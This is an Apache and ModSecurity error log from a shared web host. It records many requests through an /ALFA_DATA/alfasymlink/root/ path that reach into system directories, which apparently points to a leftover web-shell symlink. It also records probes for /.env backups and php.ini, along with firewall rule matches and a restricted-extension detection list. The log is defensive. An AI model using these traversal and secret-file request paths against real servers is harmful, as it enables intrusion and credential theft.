[Sat Oct 24 09:41:44.067631 2026] [security2:error] [pid 2635676:tid 2635676] [client 185.191.171.11:32712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/vconsole.conf"] [unique_id "aty1mGyV-56kZb5LgxTn8QAAAAE"]
[Sat Oct 24 09:41:44.067995 2026] [security2:error] [pid 2635676:tid 2635676] [client 185.191.171.11:32712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/vconsole.conf"] [unique_id "aty1mGyV-56kZb5LgxTn8QAAAAE"]
[Sat Oct 24 09:41:46.318490 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 35.169.102.85:32580] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:41:50.348607 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 34.231.45.47:41370] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:41:50.348899 2026] [security2:error] [pid 2635678:tid 2635678] [client 34.231.45.47:41370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS1/uevent"] [unique_id "aty1nqC4H19ncVbSqfEyvQAAAAU"]
[Sat Oct 24 09:41:50.348949 2026] [security2:error] [pid 2635678:tid 2635678] [client 34.231.45.47:41370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS1/uevent"] [unique_id "aty1nqC4H19ncVbSqfEyvQAAAAU"]
[Sat Oct 24 09:41:53.611141 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 85.208.96.197:36660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/red_zone
[Sat Oct 24 09:41:54.565647 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.231.77.232:6798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:42:02.377345 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.94.156.104:32899] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:42:14.542222 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.29.128.75:43913] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:42:26.088948 2026] [security2:error] [pid 2627309:tid 2627309] [client 216.244.66.250:59880] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/@types/node/url.d.ts"] [unique_id "aty1wl0Yuvqa3nuKpvNC3AAAAAk"]
[Sat Oct 24 09:42:26.088996 2026] [security2:error] [pid 2627309:tid 2627309] [client 216.244.66.250:59880] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/@types/node/url.d.ts"] [unique_id "aty1wl0Yuvqa3nuKpvNC3AAAAAk"]
[Sat Oct 24 09:42:27.035299 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.45.77.169:57371] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:42:34.427973 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.224.132.215:31525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:42:38.665055 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.219.81.66:8928] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:42:41.394016 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.202:17220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/store_user
[Sat Oct 24 09:42:44.111256 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.200:40668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/objs_per_slab
[Sat Oct 24 09:42:58.527061 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.44.229.124:39689] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:43:02.633532 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 3.217.82.254:35615] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/memory/memory19/node0/memory15/subsystem/uevent
[Sat Oct 24 09:43:09.498954 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.17:53668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/order
[Sat Oct 24 09:43:14.702776 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.148.226:15447] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:43:22.711028 2026] [security2:error] [pid 2635678:tid 2635678] [client 52.45.194.165:36003] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:04.0/firmware_node/power/"] [unique_id "aty1-qC4H19ncVbSqfEywQAAAAU"]
[Sat Oct 24 09:43:22.711072 2026] [security2:error] [pid 2635678:tid 2635678] [client 52.45.194.165:36003] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:04.0/firmware_node/power/"] [unique_id "aty1-qC4H19ncVbSqfEywQAAAAU"]
[Sat Oct 24 09:43:26.515079 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.235.191.179:55866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:43:33.393323 2026] [security2:error] [pid 2635676:tid 2635676] [client 85.208.96.199:41372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/php56/edit.php"] [unique_id "aty2BWyV-56kZb5LgxTn9wAAAAE"]
[Sat Oct 24 09:43:33.393354 2026] [security2:error] [pid 2635676:tid 2635676] [client 85.208.96.199:41372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/php56/edit.php"] [unique_id "aty2BWyV-56kZb5LgxTn9wAAAAE"]
[Sat Oct 24 09:43:34.656079 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.156.248.117:19930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:43:42.756111 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 34.197.28.78:26123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS2/port
[Sat Oct 24 09:43:49.196676 2026] [security2:error] [pid 2625272:tid 2625272] [client 216.244.66.250:36034] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/eps2eps"] [unique_id "aty2FYY2rJh4KkI7ZZhkswAAAAM"]
[Sat Oct 24 09:43:49.196755 2026] [security2:error] [pid 2625272:tid 2625272] [client 216.244.66.250:36034] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/eps2eps"] [unique_id "aty2FYY2rJh4KkI7ZZhkswAAAAM"]
[Sat Oct 24 09:43:51.552078 2026] [security2:error] [pid 2635684:tid 2635684] [client 216.244.66.250:41782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/getopt"] [unique_id "aty2F_h8HbpaJ2ileDIjXQAAABE"]
[Sat Oct 24 09:43:51.552121 2026] [security2:error] [pid 2635684:tid 2635684] [client 216.244.66.250:41782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/getopt"] [unique_id "aty2F_h8HbpaJ2ileDIjXQAAABE"]
[Sat Oct 24 09:43:54.477066 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.90.244.132:3980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:44:02.561269 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.152.163.42:42108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:44:05.517553 2026] [security2:error] [pid 2635684:tid 2635684] [client 162.19.251.210:49038] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg2.sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "aty2Jfh8HbpaJ2ileDIjXgAAABE"]
[Sat Oct 24 09:44:05.517633 2026] [security2:error] [pid 2635684:tid 2635684] [client 162.19.251.210:49038] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg2.sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "aty2Jfh8HbpaJ2ileDIjXgAAABE"]
[Sat Oct 24 09:44:10.612812 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.204.62.163:5598] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:44:18.612683 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.205.170.13:56145] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:44:26.659906 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 35.173.18.61:48422] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:44:30.576911 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.93.253.174:51385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:44:34.772349 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.166.126.132:7843] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:44:41.351268 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 85.208.96.206:20796] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/min_partial
[Sat Oct 24 09:44:58.617646 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.206.65.8:43796] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:44:59.078409 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.10:18724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/cache_dma
[Sat Oct 24 09:45:10.785482 2026] [ssl:error] [pid 2635676:tid 2635676] (22)Invalid argument: [client 3.225.45.252:48811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:45:15.097631 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.2.191.202:5080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:45:22.086943 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.8:51250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/hwcache_align
[Sat Oct 24 09:45:22.286041 2026] [autoindex:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 16.216.88.192:57344] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/cpanel/
[Sat Oct 24 09:45:22.630082 2026] [ssl:error] [pid 2635677:tid 2635677] (5)Input/output error: [client 18.214.138.148:62412] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:45:23.483411 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 185.191.171.2:49110] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/sanity_checks
[Sat Oct 24 09:45:26.831102 2026] [authz_core:error] [pid 2625272:tid 2625272] [client 192.248.150.180:60582] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 09:45:34.794215 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.207.69.106:29235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:45:37.730815 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.10:65042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/order
[Sat Oct 24 09:45:38.773403 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.230.224.6:19877] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:45:42.880063 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 98.83.178.66:61708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:45:55.041862 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 44.205.180.155:17287] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/input/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/input/' is executable
[Sat Oct 24 09:45:55.045916 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 44.205.180.155:17287] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/msglog/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/msglog/' is executable
[Sat Oct 24 09:45:55.045946 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 44.205.180.155:17287] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/scan/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/scan/' is executable
[Sat Oct 24 09:46:04.521608 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 185.191.171.18:53876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:06.788945 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.197.82.195:1899] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:10.819660 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.235.158.162:13258] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:19.036356 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 52.4.238.8:32182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/rescan
[Sat Oct 24 09:46:23.680232 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.29.155.89:38230] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:27.178591 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.213.85.234:56102] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:30.318822 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.200:31610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/sanity_checks
[Sat Oct 24 09:46:31.196586 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.225.9.97:13524] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:35.044288 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.1.106.130:22612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:35.748003 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.4:47456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/destroy_by_rcu
[Sat Oct 24 09:46:38.907861 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 23.21.204.95:46705] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:42.869779 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.222.190.107:51525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:46.831726 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.206.212.24:32273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:46:58.857749 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.194.233.48:21553] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:03.237309 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.2.191.202:34355] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:07.126298 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.91.122.193:27779] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:15.105133 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.225.98.148:8036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:18.372948 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 84.233.199.164:50025] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 09:47:18.905659 2026] [proxy_fcgi:error] [pid 2625272:tid 2625272] [client 84.233.199.164:51061] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 09:47:18.945751 2026] [proxy_fcgi:error] [pid 2635684:tid 2635684] [client 84.233.199.164:50501] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 09:47:19.056332 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 3.215.59.93:60889] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan
[Sat Oct 24 09:47:19.428313 2026] [proxy_fcgi:error] [pid 2607843:tid 2607843] [client 84.233.199.164:62813] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 09:47:19.474631 2026] [proxy_fcgi:error] [pid 2635678:tid 2635678] [client 84.233.199.164:62834] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 09:47:20.498012 2026] [security2:error] [pid 2635676:tid 2635676] [client 84.233.199.164:65301] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col2.sherwinpinturas.com"] [uri "/.env/.env.bak"] [unique_id "aty26GyV-56kZb5LgxToAgAAAAE"]
[Sat Oct 24 09:47:20.498261 2026] [security2:error] [pid 2635676:tid 2635676] [client 84.233.199.164:65301] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/.env/.env.bak"] [unique_id "aty26GyV-56kZb5LgxToAgAAAAE"]
[Sat Oct 24 09:47:20.498584 2026] [security2:error] [pid 2635676:tid 2635676] [client 84.233.199.164:65301] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/.env/.env.bak"] [unique_id "aty26GyV-56kZb5LgxToAgAAAAE"]
[Sat Oct 24 09:47:20.547613 2026] [security2:error] [pid 2627273:tid 2627273] [client 84.233.199.164:50621] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env/.env.bak"] [unique_id "aty26BdOhHN-18IxgZKrtAAAAAY"]
[Sat Oct 24 09:47:20.547874 2026] [security2:error] [pid 2627273:tid 2627273] [client 84.233.199.164:50621] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env/.env.bak"] [unique_id "aty26BdOhHN-18IxgZKrtAAAAAY"]
[Sat Oct 24 09:47:20.548170 2026] [security2:error] [pid 2627273:tid 2627273] [client 84.233.199.164:50621] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env/.env.bak"] [unique_id "aty26BdOhHN-18IxgZKrtAAAAAY"]
[Sat Oct 24 09:47:21.037401 2026] [authz_core:error] [pid 2627309:tid 2627309] [client 84.233.199.164:51017] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 09:47:21.566170 2026] [proxy_fcgi:error] [pid 2625272:tid 2625272] [client 84.233.199.164:50945] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 09:47:21.596779 2026] [proxy_fcgi:error] [pid 2635684:tid 2635684] [client 84.233.199.164:51493] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 09:47:22.941013 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 35.170.205.140:62895] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:27.163408 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.225.243.131:54800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:30.076256 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 85.208.96.208:16588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:30.882998 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.225.148.123:10564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:35.125845 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 18.205.91.101:44676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/resource0
[Sat Oct 24 09:47:39.257814 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 23.21.204.95:20821] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:45.924502 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 85.208.96.198:11056] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:55.043551 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.221.244.28:36451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:58.957295 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.235.172.96:33567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:47:59.345103 2026] [security2:error] [pid 2625330:tid 2625330] [client 216.244.66.250:43788] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfs.conf"] [unique_id "aty3D_MnT_rHlxLKOWDn6gAAAAc"]
